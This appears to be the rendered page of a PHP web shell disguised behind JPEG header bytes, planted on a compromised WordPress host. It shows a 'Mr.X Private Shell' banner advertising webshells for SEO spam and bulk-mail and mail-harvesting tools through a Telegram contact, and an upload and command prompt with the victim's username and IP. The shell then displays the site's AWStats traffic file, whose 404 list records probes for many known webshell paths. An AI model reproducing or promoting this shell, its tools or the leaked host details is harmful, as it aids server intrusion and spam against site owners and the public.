����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

infinityocean@216.73.216.250: ~ $
AWSTATS DATA FILE 8.0 (build 20240604)
# If you remove this file, all statistics for date 202603 will be lost/reset.
# Last config file used to build this data file was /home/infinityocean/tmp/awstats/ssl/awstats.infinityocean.space.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2096                
POS_TIME 2778                
POS_VISITOR 30288               
POS_DAY 126448              
POS_DOMAIN 3740                
POS_LOGIN 5030                
POS_ROBOT 5185                
POS_WORMS 6551                
POS_EMAILSENDER 6682                
POS_EMAILRECEIVER 6825                
POS_SESSION 127408              
POS_FILESIZE 131957              
POS_REQUESTTIME 132109              
POS_SIDER 127625              
POS_FILETYPES 6960                
POS_DOWNLOADS 7235                
POS_OS 7372                
POS_BROWSER 8172                
POS_SCREENSIZE 15786               
POS_UNKNOWNREFERER 15860               
POS_UNKNOWNREFERERBROWSER 17182               
POS_ORIGIN 17825               
POS_SEREFERRALS 17969               
POS_PAGEREFS 18145               
POS_SEARCHWORDS 18325               
POS_KEYWORDS 18477               
POS_MISC 2442                
POS_ERRORS 18536               
POS_CLUSTER 4886                
POS_SIDER_404 18729               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20260401001245 161 28158 11262947615190
FirstTime 20260301000105
LastTime 20260331231727
LastUpdate 20260401082815 161 0 160 0 0
TotalVisits 5144                
TotalUnique 2451                
MonthHostsKnown 0                   
MonthHostsUnknown 2469                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 0 0
JavaEnabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 724 750 4313715 203 216 5942340
1 851 851 5214377 313 329 7275990
2 853 854 2799904 331 356 11603978
3 847 848 2493551 135 141 2923598
4 717 762 3844331 180 214 4117091
5 637 769 5307588 308 354 10531982
6 1760 1823 7412241 1050 1096 7447476
7 694 720 3385136 158 172 3225602
8 567 631 8936527 207 224 5196438
9 663 663 2654031 122 190 3784610
10 797 799 2770889 231 253 6437417
11 857 860 7237428 170 214 4781483
12 735 735 4647824 145 227 3084951
13 580 610 3589014 109 151 2158448
14 809 810 3870729 268 305 7538854
15 596 597 14161460 179 196 4171120
16 1425 1448 7088715 1069 1111 7052716
17 599 600 5145438 112 134 3432457
18 738 739 2809826 67 84 3070257
19 713 739 3233355 19 37 1021196
20 631 632 4645384 424 455 11343202
21 664 689 4209337 58 94 1185525
22 723 723 4946638 246 266 7067035
23 785 809 2484596 96 110 2784022
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 71
us 12686 12768 50460483
in 1140 1140 2303432
ru 688 921 9729224
jp 548 554 23567599
gb 434 444 2710900
de 240 240 1136882
vn 234 234 363065
se 232 235 8190447
es 231 231 1163573
id 223 223 142323
fr 164 164 226331
cn 141 190 8735783
br 140 140 110593
ca 139 164 2297532
be 116 141 1062957
tr 97 97 50177
ph 85 85 35302
tw 82 82 53812
ae 76 76 31326
it 68 68 35601
pt 66 66 44328
za 65 65 43570
pl 64 101 570367
cz 55 55 429201
my 54 54 33815
eu 6 6 400794
mx 46 46 18887
ch 15 15 24049
kz 2 2 3645
ro 40 40 501094
at 4 4 840
th 3 3 630
zz 4 4 840
bh 42 42 17275
hk 1 1 210
kh 1 1 54362
au 48 49 134622
rs 44 44 18430
no 24 48 303135
il 17 17 461082
nz 42 42 17275
al 1 1 54401
ar 1 1 210
ir 19 19 134867
lb 7 7 27897
ge 42 42 17275
om 51 51 20902
md 14 14 19039
pe 5 5 9066
eg 25 25 45515
ao 43 43 17678
cl 11 11 265016
sa 2 2 420
nl 36 36 70928
ug 2 2 806
ci 10 10 18225
cu 1 1 210
pa 1 1 403
dk 14 14 6164
sk 3 3 3855
bg 37 37 300363
gr 42 42 248319
lt 1 1 54376
kr 8 8 11355
ee 42 42 17275
ua 28 28 294652
ma 5 5 1050
mu 4 5 2236
la 42 42 17275
pk 51 51 41467
sg 10 10 14996
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 33
GPTBot/ 279 13670072 20260331132851 0
Googlebot/ 227 1968987 20260330153424 22
AhrefsBot/ 144 1206008 20260330161302 32
bot[\s_+:,\.\;\/\\-] 117 666414 20260331212701 38
robot 72 7704 20260331073557 72
no_user_agent 37 4027748 20260331153604 1
CheckMarkNetwork/ 33 237295 20260326215832 1
Bytespider 20 130923 20260331092057 3
facebookexternalhit/ 14 2394 20260331233221 14
Go\-http\-client/ 14 853256 20260329080302 1
SemrushBot/ 14 224833 20260327105607 5
unknown 10 1435 20260330084945 10
crawl 9 824434 20260331172034 0
360Spider 9 436170 20260329232736 1
(firefox/)([0-9]\.|[0-1][0]\.) 9 183869 20260326132133 0
feed 8 65405 20260319182831 0
link 7 42756 20260326132134 0
MJ12bot/ 7 86287 20260314223136 3
bingbot/ 3 37676 20260327091253 2
scrapy 2 110612 20260318132514 0
survey 2 399344 20260312194611 0
checker 2 108738 20260329163944 0
DoCoMo/ 2 7555 20260323065215 0
Wget/ 2 2465 20260323065658 0
hunter 1 0 20260311054729 0
Konqueror/ 1 0 20260323070135 0
ELinks[\x20]\( 1 6217 20260323065214 0
archive\.org_bot 1 54394 20260312063607 0
curl 1 54401 20260308104657 0
Links[\x20]\( 1 54415 20260306055013 0
FAST\-WebCrawler/ 1 1762 20260326132019 0
DuckDuckBot 1 54415 20260305104930 0
libwww\-perl 1 5233 20260323070135 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 11
php 17626 20247740 0 0
webp 24 131340 0 0
html 963 65293604 0 0
xsl 4 14317 0 0
txt 4 5287 0 0
xml 12 5922 0 0
woff2 247 26839072 0 0
svg 17 5257 0 0
Unknown 117 672267 0 0
css 70 219558 0 0
js 377 3767670 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/default-sitemap.xsl 4 0 14317
//wp-includes/ID3/license.txt 3 0 4188
/llms.txt 1 0 1099
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 50
macosx8 2 2
androidpie 19 5
winunknown 2 1
os/2 2 1
androidmarshmallow 2 1
bsdopenbsd 1 1
android12 24 24
winlong 43 42
android10 389 389
linux 547 507
android13 4 4
unix 102 101
symbian 2 0
macosx6 3 2
macosx5 1 0
androidkitkat 1 0
win8 929 922
beos 1 1
macosx 6 6
macosx15 1053 1000
macosx7 2 0
winphone 3 2
win10 3198 2926
Unknown 7997 7968
macosx9 40 40
win2003 1 1
ios_iphone 546 532
ios_ipad 7 5
macosx12 257 257
macosx14 16 12
macosx13 289 283
macosx11 182 182
j2me 2 2
winxp 42 40
win8.1 1190 1188
win2000 1 1
macosx10 132 130
winnt 70 70
win7 1763 1756
bsdfreebsd 2 2
androidlollipop 3 1
linuxdebian 1 0
irix 1 1
macos12 105 99
win11 1 0
androidoreo 15 3
linuxubuntu 409 408
android 7 4
androidnougat 45 42
androideclair 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 376
chrome76.0.3809.87 1 1
firefox86.0.0.0 15 15
firefox88.0.0.0 13 13
chrome59.0.3071.125 1 1
chrome66.0.3359.158 30 30
firefox90.0.1 62 62
msie6.0.2900.2180 1 0
chrome65.0.3325.109 8 8
firefox92.0 66 66
chrome134.0.0.0 105 105
chrome121.0.0.0 10 10
chrome141.0.0.0 51 51
firefox89.0.0.0 11 11
safari17.0 17 17
safari11.1.2 14 14
safari10.1.2 20 20
opera78.0.0.0 18 18
opera68.0.0.0 27 27
opera60.0.3255.70 2 1
safari10.0.2 18 18
safari13.0.3 514 506
firefox144.0 31 31
chrome66.0.3359.139 113 111
firefox100.0.0.0 17 17
firefox94.0.0.0 13 13
firefox53.0 1 1
firefox142.0 26 26
chrome97.0.0.0 17 17
firefox117.0 10 10
safari11.0.2 18 18
firefox115 5 5
firefox88.0 1 1
edge98 21 21
firefox61.0 65 65
firefox20.0 1 0
firefox40.0 3 1
chrome78.0.3904.108 27 27
firefox122.0 44 44
firefox71.0.0.0 10 10
firefox92.0.0.0 11 11
chrome101.0.0.0 11 11
edge88 21 21
chrome72.0.3626.121 1 0
chrome83.0.0.0 18 18
opera52.0.2871.40 12 12
chrome51.0.2704.103 1 0
chrome111.0.0.0 13 13
chrome73.0.3683.103 2 2
chrome67.0.3396.79 123 123
chrome57.0.2987.108 2 2
chrome72.0.3626.119 2 0
chrome96.0.0.0 18 18
chrome20.0.1132.57 1 0
safari12.1.2 1 0
safari14.1.2 100 100
firefox89.0 2 2
firefox120.0.1 1 1
chrome75.0.3770.143 4 0
chrome74.0.3729.108 1 1
chrome88.0.0.0 5 5
chrome66.0.3359.126 1 1
edge81 25 25
opera36.0.2130.46 1 0
safari9.0 1 1
safari15.4 53 50
chrome90.0.4430.93 1 1
firefox77.0.0.0 11 11
chrome75.0.3770.101 4 2
chrome107.0.0.0 46 22
opera9.60 1 1
firefox123 5 5
safari7.0 3 2
chrome101.0.4951.64 1 1
firefox50.0 3 3
chrome64.0.3282.204 1 0
chrome4.0.237.0 1 0
opera8.0 1 1
edge91 21 21
chrome61.0.3163.49 1 1
chrome75.0.3770.142 2 2
firefox100.0 1 1
chrome80.0.3987.149 21 21
chrome14.0.835.186 1 0
chrome76.0.3809.111 15 3
chrome91.0.4472.114 5 5
firefox33.0 2 2
firefox74.0 1 1
chrome81.0.0.0 18 18
chrome15.0.874.54 1 0
opera80.0.0.0 28 28
msie7.0 845 843
chrome124.0.0.0 4 4
firefox19.0 3 0
chrome92.0.4515.131 169 169
chrome131.0.0.0 21 17
firefox97.0.0.0 11 11
chrome80.0.0.0 8 8
chrome69.0.3497.100 3 1
opera61.0.0.0 25 25
firefox62.0 8 8
opera71.0.0.0 29 29
edge89 30 30
msie11.0 1132 1132
chrome90.0.4430.212 175 175
chrome77.0.3835.0 1 0
chrome93.0.4577.63 190 190
firefox80.0.0.0 26 26
chrome94.0.4606.71 173 173
chrome112.0.0.0 16 15
firefox114.0 1 1
firefox85.0.0.0 12 12
chrome122.0 1 1
safari14.0.3 122 122
chrome119 2 2
edge99 17 17
chrome72.0.3626.109 2 1
chrome55.0.2883.91 1 0
chrome74.0.3729.169 4 3
firefox72.0.0.0 16 16
chrome137.0.0.0 61 61
chrome66.0.3359.170 45 45
firefox91.0.0.0 18 18
chrome102.0.0.0 99 29
msie5.0 1 0
mozilla 470 444
firefox16.0 1 0
chrome4.0.207.0 2 2
chrome76.0.3809.62 1 0
opera52.0.2871.64 24 24
safari17.6 1 0
firefox30.0 11 11
msie8.0 26 26
firefox35.0 2 0
chrome92.0.4515.107 26 2
chrome104.0.0.0 14 14
chrome65.0.3325.184 14 14
chrome99.0.0.0 9 9
firefox131.0 1 0
chrome11.0.696.65 1 0
chrome88.0.4240.193 9 9
firefox74.0.0.0 11 11
chrome82.0.0.0 15 15
chrome84.0.0.0 11 11
firefox97.0 1 1
safari17.3.1 8 8
chrome114.0.0.0 64 61
firefox29.0 2 2
msie9.0 109 108
opera53.0.2907.99 49 49
minefield 1 1
chrome85.0.0.0 8 8
chrome63.0.3239.26 1 0
firefox103.0 1 1
chrome120.0.6099.130 1 1
seamonkey 1 1
chrome53.0.2785.90 1 0
chrome66.0.3359.203 6 6
opera9.5 1 1
firefox83.0.0.0 14 14
chrome122.0.0.0 48 24
chrome142.0.0.0 55 55
chrome64.0.3282.186 1 1
safari11.0.3 26 26
chrome76.0.3803.0 1 0
firefox80.0 2 2
safari10.0.3 23 23
firefox91.0 74 74
opera74.0.0.0 21 21
opera64.0.0.0 15 15
opera51.0.2830.34 9 9
chrome71.0.3578.141 2 0
chrome35.0.1916.141 1 0
edge12 1 1
edge95 19 19
chrome25.0.1349.2 1 0
chrome87.0.4280.88 24 1
netscape4.77 1 1
edge93 23 23
safari14.1 107 107
safari 398 397
safari12.1 2 0
opera64.0.3409.0 1 0
chrome94.0.0.0 18 18
chrome92.0.0.0 15 15
opera53.0.2907.68 20 20
chrome89.0.0.0 17 17
opera123.0.0.0 36 36
firefox143.0 30 30
safari12.0 7 7
edge85 17 17
chrome14.0.835.94 1 1
nokia 2 1
safari5.0.2 1 1
edge100 22 22
edge83 26 26
chrome65.0.3298.3 6 6
opera47.0.2631.55 1 1
firefox21.0 2 2
chrome77.0.3865.19 1 0
safari15.0 82 82
firefox60.0 126 126
firefox65.0 1 1
chrome28.0.1478.0 1 1
chrome58.0.3029.110 1 1
chrome123.0.0.0 1 1
chrome143.0.0.0 23 23
chrome115.0.0.0 22 22
firefox82.0.0.0 18 18
chrome144.0.7559.60 26 1
chrome110.0.0.0 10 10
chrome100.0.0.0 15 15
chrome71.0.3578.98 1 0
chrome65.0.3325.146 83 83
chrome64.0.3282.119 1 0
chrome105.0.0.0 17 17
chrome52.0.2743.116 1 0
firefox75.0.0.0 11 11
chrome95.0.0.0 9 9
chrome48.0.2564.116 2 1
firefox70.0.0.0 15 15
chrome90.0.0.0 11 11
safari10.1 45 45
chrome67.0.3396.87 182 180
opera11.1010 1 0
firefox99.0.0.0 19 19
opera72.0.0.0 34 34
opera62.0.0.0 26 26
chrome65.0.3325.209 6 6
chrome138.0.0.0 82 82
edge80 26 26
edge94 25 25
safari11.1 41 40
opera51.0.2830.40 9 9
chrome91.0.0.0 13 13
netscape5.0 1607 1607
safari18.3.1 1 1
safari17.1.2 5 5
opera63.0.0.0 15 15
safari11.0 17 14
opera73.0.0.0 23 23
safari10.0 52 52
firefox84.0.0.0 10 10
edge90 24 24
chrome76.0.3809.100 5 3
edge84 19 19
edge86 18 18
firefox140.0 29 29
edge87 22 22
chrome66.0.3359.117 139 139
chrome139.0.0.0 59 59
firefox96.0.0.0 10 10
chrome60.0.3112.113 1 0
firefox98.0.0.0 16 16
chrome80.0.3987.162 1 1
edge97 20 20
chrome120.0.0.0 106 106
chrome140.0.0.0 59 59
edge96 13 13
chrome145.0.0.0 4 4
chrome125.0.0.0 84 18
chrome113.0.0.0 87 39
chrome75.0.3770.100 2 0
firefox89.0.2 100 100
chrome91.0.4472.124 216 216
safari17.2 2 2
firefox141.0 30 30
firefox108.0 1 1
chrome103.0.0.0 9 9
opera65.0.0.0 20 20
opera75.0.0.0 14 14
firefox73.0.0.0 19 19
safari4.0 1 0
firefox119.0.1 1 1
chrome116.0.0.0 1 1
chrome67.0.3396.62 93 93
firefox78.0.0.0 18 18
chrome93.0.0.0 10 10
firefox76.0.0.0 19 19
msie10.0 47 47
chrome106.0.0.0 29 29
opera124.0.0.0 28 28
android 64 64
opera122.0.0.0 31 31
chrome108.0.0.0 15 15
safari2.0.1 1 0
safari13.0 1 0
firefox93.0.0.0 22 22
opera50.0.2762.45 3 3
chrome66.0.3359.181 143 143
firefox90.0 1 1
firefox132.0 1 0
chrome36.0.1985.125 17 15
opera50.0.2762.67 31 31
safari26.0 2 2
safari14.1.1 85 85
firefox31.0 5 4
opera60.0.0.0 25 25
firefox145.0 29 29
opera70.0.0.0 19 19
chrome77.0.3844.0 3 2
firefox24.0 1 0
chrome119.0.0.0 1 1
opera51.0.2830.55 23 23
edge17 15 15
edge16 49 49
chrome109.0.0.0 10 10
Unknown 6338 6337
firefox79.0.0.0 16 16
chrome56.0.2924.87 3 1
chrome98.0.0.0 13 13
opera119.0.0.0 27 27
safari18.1 2 0
opera62.0.3331.117 1 0
firefox87.0 1 1
opera76.0.0.0 28 28
firefox118.0.2 1 1
chrome60.0.3112.107 36 36
opera66.0.0.0 30 30
opera12.16 1 1
chrome86.0.0.0 15 15
chrome41.0.8128.1783 1 1
safari11.0.1 39 39
opera120.0.0.0 19 19
chrome116.0 2 2
chrome126.0.0.0 6 5
chrome28.0.1469.0 2 0
chrome95.0.4638.69 3 0
edge82 25 25
firefox42.0 2 2
opera121.0.0.0 14 14
firefox125.0 1 1
chrome79.0.3945.130 3 3
chrome65.0.3325.162 111 111
safari10.0.1 58 58
firefox90.0.0.0 14 14
msie11 8 8
chrome103.0.5060.53 2 2
firefox95.0.0.0 13 13
chrome65.0.3325.181 169 167
chrome74.0.3729.157 4 2
firefox102.0 1 0
firefox93.0 64 64
chrome44.0.2403.157 1 1
safari6.0.2 1 0
safari10.1.1 11 11
chrome66.0.3359.137 4 4
chrome76.0.3809.89 10 4
safari11.1.1 13 13
edge92 19 19
edge15 43 42
opera52.0.2871.99 47 47
firefox81.0.0.0 16 16
chrome57.0.2987.133 1 1
opera50.0.2762.58 6 6
firefox104.0 1 1
chrome87.0.0.0 13 13
chrome129.0.0.0 43 41
chrome18.6.872.0 1 0
chrome99.0.3809.100 15 1
chrome19.0.1084.9 3 2
chrome60.0.3112.50 1 0
iphone 2 1
sonyericsson 2 1
opera60.0.3255.170 1 0
chrome130.0.0.0 15 12
opera79.0.0.0 18 18
opera69.0.0.0 22 22
chrome70.0.3538.25 1 1
chrome78.0.3879.0 1 1
chrome46.0.2490.86 1 0
opera67.0.0.0 29 29
chrome100.0.4896.127 1 1
opera77.0.0.0 22 22
chrome78.0.3880.4 1 1
firefox87.0.0.0 14 14
iceape 2 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 19
Web_Downloader/6.9 20260323070135
GoogleOther 20260326014115
NokiaN73-1/3.0649.0.0.1_Series60/3.0_Profile/MIDP2.0_Configuration/CLDC-1.1 20260323065658
SonyEricssonT100/R101 20260323065214
Mozilla/5.0_(MeeGo;_NokiaN950-00/00)_AppleWebKit/534.13_(KHTML,_like_Gecko)_NokiaBrowser/8.5.0_Mobile_Safari/534.13 20260323070135
WordPress/6.9.4;_https://infinityocean.space 20260331221454
WordPress/6.9.1;_https://infinityocean.space 20260310122111
Mozilla/5.0 20260331221453
python-requests/2.32.5 20260328040740
SonyEricssonK750i/R1CA_Browser/SEMC-Browser/4.2_Profile/MIDP-2.0_Configuration/CLDC-1.1 20260323070135
WordPress/6.9.3;_https://infinityocean.space 20260311123136
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20260331180409
Mozilla/5.0_Firefox/33.0 20260304053850
python-requests/2.31.0 20260320152722
Mozilla/5.0_(compatible;_Dataprovider.com) 20260305000852
WordPress/6.9.2;_https://infinityocean.space 20260311001848
Softaculous 20260327152947
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20260327225403
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20260331223027
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
WordPress/6.9.4;_https://infinityocean.space 20260331221454
Web_Downloader/6.9 20260323070135
WordPress/6.9.1;_https://infinityocean.space 20260310122111
GoogleOther 20260326014115
python-requests/2.32.5 20260328040740
WordPress/6.9.3;_https://infinityocean.space 20260311123136
python-requests/2.31.0 20260320152722
Softaculous 20260327152947
WordPress/6.9.2;_https://infinityocean.space 20260311001848
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20260331223027
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 14522 14741
From1 1 1
From2 4 4
From3 2 2
From4 4436 4713
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 2
search_yahoo_com 2 2
ecosia 2 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://aisearchindex.space 2 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 9
302 1814 0
405 24 1132
500 12 0
301 629 14310
403 833 1034586
409 16 36317
400 12 220
206 11 3765
404 2472 100554241
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 436
/dropdown.php 20 -
/wp-user.php 1 -
/alfacgiapi/perl.alfa 1 -
/ws77.php 2 -
/pouhg.php 1 -
/ms-edit.php 40 -
/admin/uploads/ 1 -
/WordPressCore/cong.php 2 -
/blog/wp-admin/setup-config.php 1 -
/aa.php 18 -
/Content/ 2 -
/222.php 29 -
/old/wp-admin/install.php 1 -
/asc.php 1 -
/sx.php 12 -
/wp-content/uploads/wpr-addons/forms/b1ack.php 1 -
/wp-includes/Text/autoload_classmap.php 2 -
/bbjwfjfq.php 1 www.google.com
/shop/wp-admin/install.php 1 -
/wp-includes/Requests/about.php 18 -
/wp-content/uploads/2023/ 1 -
/shop/wp-admin/setup-config.php 1 -
/akcc.php 1 -
/wp-content/languages/ 20 -
/wp-includes/assets/autoload_classmap.php 2 -
/txets.php 1 www.google.com
/wp-includes/SimplePie/Content/Type/ 1 -
/wp-content/themes/Divi/404.php 4 -
/new4.php 3 -
/wp-includes/Requests/Proxy/ 1 -
/wp-includes/Text/wp-login.php 4 -
/new/wp-admin/setup-config.php 1 -
/assets/images/ 2 -
/koiy.php 1 -
/author-sitemap.xml 6 -
/wp-includes/Requests/Auth/ 1 -
/wp-admin.php 2 -
/test1.php 6 -
/wordpress/wp-admin/setup-config.php 4 -
/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php 1 -
/upload/ 1 -
/mah/function.php 1 -
/admin/uploads/images/ 1 -
/wp-content/plugins/canto/includes/lib/sizes.php 1 -
/wp-content/plugins/fix/up.php 7 -
/ab.php 2 -
/astra/inc/fm.php 1 -
/wp-content/themes/hideo/network.php 3 -
/Cache/ 2 -
/wp-fclass.php 12 -
/b.php 1 -
/goods.php 40 -
/backup.php 1 -
/baltrum/pics/vcss.gif 1 -
/hplfuns.php 13 -
/ava.php 4 -
/css/000.php 3 -
/ms.php 3 -
/wp-includes/sitemaps/autoload_classmap.php 2 -
/wp-includes/css/autoload_classmap.php 2 -
/ar.php 1 -
/ws79.php 3 -
/wp-act.php 18 -
/.well-known/admin.php 1 -
/admin/fckeditor/editor/filemanager/ 1 -
/wp-content/et-cache/ 1 -
/index/function.php 40 -
/plugins/content/apismtp/apismtp.php.suspected 6 -
/db.php 12 -
/wp-content/plugins/about.php 17 -
/Diff/Renderer/ 2 -
/ws61.php 1 -
/adminfuns.php7 2 -
/myfile.php 2 -
/feokc.php 1 -
/wp-includes/js/,b 1 https://infinityocean.space/wp-includes/js/,b,
/.info.php 1 -
/alfacgiapi/bypass.php 1 -
/administrator/ 6 -
/alfacgiapi/ 1 -
/.well-knownold/ 1 -
/wp-includes/fonts/admin.php 1 -
/wp-content/autoload_classmap.php 2 -
/apple-app-site-association 1 -
/api/graphql 6 -
/wp-content/themes/admin.php 60 -
/sf.php 22 -
/about.php7 2 -
/atomlib.php 1 -
/WordPressCore/ 2 -
/wp-content/txets.php 2 www.google.com
/info.php 40 -
/iko.php 1 -
/atdltnsb.php 1 www.google.com
/alfa-rex.php8 1 -
/166.php 2 -
/test/wp-admin/install.php 1 -
/fckdxlpm.php 1 www.google.com
/alfa-rex.php7 1 -
/kbfr.php 3 -
/wp-json/oembed/1.0/embed 1 -
/images/ 2 -
/06.php 2 -
/pp.php 1 -
/lite.php 22 -
/wp-content/plugins/brandfolder/callback.php 1 -
/wp/wp-admin/setup-config.php 1 -
/wp-content/plugins/simple/simple.php 6 -
/term.php 8 -
/Public/ 1 -
/wp-content/themes/classic/inc/ 1 -
/Diff/ 2 -
/app_dev.php 1 -
/wp-content/plugins/apikey/apikey.php 6 -
/wp-content/about.php 17 -
/ahax.php 3 -
/responsible-disclosure-policy 1 -
/wp-content/classwithtostring.php 1 -
/wp-content/plugins/yanierin/akc.php 12 -
/server.php 3 -
/blue.php 1 -
/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php 1 -
/tinyfilemanager.php 1 -
/wp-admin/css/colors/about.php 2 -
/wp-content/worksec.php 6 -
/wp-includes/certificates/about.php 2 -
/wp-content/uploads/users.php 4 -
/asd67.php 1 -
/wp-content/plugins/beteng84/ws79.php 2 -
/wp-content/themes/theme/about.php 17 -
/403.php 6 -
/radio.php 1 -
/wrqnxrtu.php 1 www.google.com
/wp-includes/Requests/src/Response/about.php 17 -
/wp-admin/js/admiin.php 2 -
/wp-includes/js/codemirror/about.php 2 -
/update/da222.php 22 -
/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php 1 -
/wp-includes/Requests/Exception/ 1 -
/wp-content/uploads/2024/ 5 -
/xmr.php 15 -
/wp-content/plugins/where-i-was-where-i-will-be/wiwwiwb.php 1 -
/graphql 6 -
/404.php 15 -
/install.php 2 -
/themes.php 5 -
/wp-themes.php 13 -
/wp-includes/Requests/Response/ 1 -
/wp-includes/style-engine/wp-conflg.php 1 -
/modules/ 1 -
/bugbounty 1 -
/wp-trackback.php 5 -
/backup-backup/includes/ 1 -
/htaccess.php 12 -
/wp-includes/fonts/wp-login.php 2 -
/bgymj.php 2 -
/bak.php 1 -
/wp-*.php 1 -
/wordpress 1 -
/wp-includes/random_compat/ 1 -
